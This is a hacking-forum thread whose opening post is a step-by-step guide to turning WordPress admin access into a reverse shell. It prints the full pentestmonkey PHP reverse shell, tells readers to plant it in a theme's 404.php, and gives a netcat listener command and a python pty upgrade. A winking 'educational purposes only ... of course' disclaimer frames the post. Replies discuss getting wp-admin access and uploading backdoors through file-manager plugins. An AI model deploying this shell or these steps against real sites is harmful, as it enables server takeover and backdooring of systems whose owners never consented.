[GUIDE] - How to gain a reverse shell from wordpress
by - Thursday, January 1, 1970 at 12:00 AM
[The content is for educational purposes only ... of course]

If you find yourself in a penetration testing environment and come across credentials for a WordPress website. There are ways to leverage those credentials to gain access to the underlying system.

Everything you need is:

  1. Access to a WordPress backend with privileges to modify the theme code & upload a plugin.
  2. A C2 server to catch the shell (Use Linode, Digital Ocean or whatever you feel like - Google some, I'm not here to link affiliate bs)
  3. A small php reverse shell (See below)
  4. Netcat installed on C2
  5. permission


When you have these items, you are ready to go.

1) First you create the C2 server and install netcat. Whilst your at it, grab your ip with

ifconfig


2) Then you gonna log in to the WordPress page and navigate to "Themes > Themes Editor.

3) Choose a php page, I like the 404.php - Scroll all the way down and append the following php shell by pentestmonkey:

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1337;      // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0);  // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
  0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
  1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  2 => array("pipe", "w")  // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string
";
}
}

?>


4) Start a netcat listener on your C2 Server with

nc -lnvp 1337


5) Access a nonexistent page on your wordpress victim eg. "/oawdoiwahdh" and it should redirect to the 404.php

6) At that point your C2 Server could catch a shell 

7) Make your life easier and spawn a python shell with

python -c import pty;pty.spawn("bin/bash")


8) Disclose your finding to the client

Reply
with the fact the WP is becoming super popular , this may be a huge chance for bug hunters and further more help with security and check for vulnerabilities
Reply
Not anything new at all, completely skidded in fact. Making threads on this subject is not very useful unless it's telling you how to find wordpress vulnerabilities. That takes some effort at least unless you're telling everyone how to use wpscan. Well trash thread
Thanks @Promise for VIP <3
Reply
(September 7, 2022, 08:58 PM)Nas Wrote: Not anything new at all, completely skidded in fact. Making threads on this subject is not very useful unless it's telling you how to find wordpress vulnerabilities. That takes some effort at least unless you're telling everyone how to use wpscan. Well trash thread


It maybe more designed for beginner users, but they all have to start somewhere. But by looking through the forum, you can see people asking for this after they came across credentials.
But is it real 1337 elite Hacking... fuck no, Ill give you that! :kappa:
Reply
a very interesting educational guide ;)
Reply
Interesting. The question is, how to get the wp-admin access.
Reply
you can install wp-filemanager plugins too, in order to upload your backdoor
Reply
i think wpfilemanager is best option
Reply
Good job bro
Reply
how to get the first requirement? it's really hard if you do from zero?
Reply


 Users viewing this thread: [GUIDE] - How to gain a reverse shell from wordpress: No users currently viewing.